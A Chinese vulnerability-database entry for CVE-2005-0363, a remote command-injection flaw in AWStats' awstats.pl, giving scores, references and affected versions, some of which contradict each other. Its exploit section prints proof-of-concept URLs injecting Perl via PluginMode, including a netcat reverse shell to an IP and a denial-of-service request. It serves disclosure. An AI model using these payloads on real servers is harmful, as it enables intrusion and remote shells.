CVE-2005-0363
CVSS7.5
发布时间 :2005-05-02 00:00:00
修订时间 :2008-09-05 16:46:04
NMCS    

[原文]awstats.pl in AWStats 4.0 and 6.2 allows remote attackers to execute arbitrary commands via shell metacharacters in the config parameter.


[CNNVD]AWStats awstats.pl多个参数远程执行命令漏洞(CNNVD-200505-543)

        AwStats是一款极为流行的基于Web的网站访问统计程序。
        AwStats软件包脚本实现上存在输入验证漏洞,远程攻击者可能利用此漏洞以Web进程权限在服务器上执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:awstats:awstats:4.0
cpe:/a:awstats:awstats:6.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0363
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0363
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200505-543
(官方数据源) CNNVD

- 其它链接及资源

http://www.debian.org/security/2005/dsa-682
(VENDOR_ADVISORY)  DEBIAN  DSA-682
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=294488
(VENDOR_ADVISORY)  CONFIRM  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=294488

- 漏洞信息

AWStats awstats.pl多个参数远程执行命令漏洞
高危 设计错误
2005-05-02 00:00:00 2005-10-20 00:00:00
远程  
        AwStats是一款极为流行的基于Web的网站访问统计程序。
        AwStats软件包脚本实现上存在输入验证漏洞,远程攻击者可能利用此漏洞以Web进程权限在服务器上执行任意命令。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        http://awstats.sourceforge.net/

- 漏洞信息

AWStats Plugin Multiple Remote Command Execution Vulnerabilities
Design Error 12543
Yes No
2005-02-14 12:00:00 2009-07-12 10:06:00
GHC <foster@ghc.ru> is credited with the disclosure of this issue.

- 受影响的程序版本

AWStats AWStats 6.3
AWStats AWStats 6.2
AWStats AWStats 6.1
AWStats AWStats 6.0
AWStats AWStats 5.9
AWStats AWStats 5.8
AWStats AWStats 5.7
AWStats AWStats 5.6
AWStats AWStats 5.5
AWStats AWStats 5.4
AWStats AWStats 5.3
AWStats AWStats 5.2
AWStats AWStats 5.1
AWStats AWStats 5.0
AWStats AWStats 4.0
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
AWStats AWStats 6.5.0 build 1.857
AWStats AWStats 6.3
AWStats AWStats 5.6
AWStats AWStats 6.5.0 build 1.857

- 不受影响的程序版本

AWStats AWStats 6.3
AWStats AWStats 5.6
AWStats AWStats 6.5.0 build 1.857

- 漏洞讨论

Multiple remote command execution vulnerabilities reportedly affect AWStats. These issues are due to an input validation error that allows a remote attacker to specify commands to be executed in the context of the affected application.

The first problem presents itself due to the potential of malicious use of the 'loadplugin' and 'pluginmode' parameters of the 'awstats.pl' script. The second issue arises from an insecure implementation of the 'loadplugin' parameter functionality.

An attacker may leverage these issues to execute arbitrary commands with the privileges of the affected web server running the vulnerable scripts. This may facilitate unauthorized access to the affected computer, as well as other attacks.

Multiple sources have reported that AWStats 6.3 and subsequent versions are not vulnerable to these issues.

- 漏洞利用

The following proof of concepts have been provided:

To execute arbitrary commands:
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;PluginMode=:print+getpwent
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;PluginMode=:print+system('id')+;
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;

To trigger a denial of service condition:
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;hack=$rp&amp;PluginMode=:sleep

To load the 'blib' Perl module:
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;loadplugin=../../../../usr/libdata/perl/5.00503/blib

The following proof of concept was provided by &lt;newbug@chroot.org&gt;:
http://www.example.com/awstats/awstats.pl?pluginmode=:system http://xxx/awstats/awstats.pl?pluginmode=:system (?/bin/ls?);

The following proof of concept has been made available:

- 解决方案

Debian has released advisory DSA 682-1 to address these issues. Please see the referenced advisory for more information.


AWStats AWStats 4.0

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站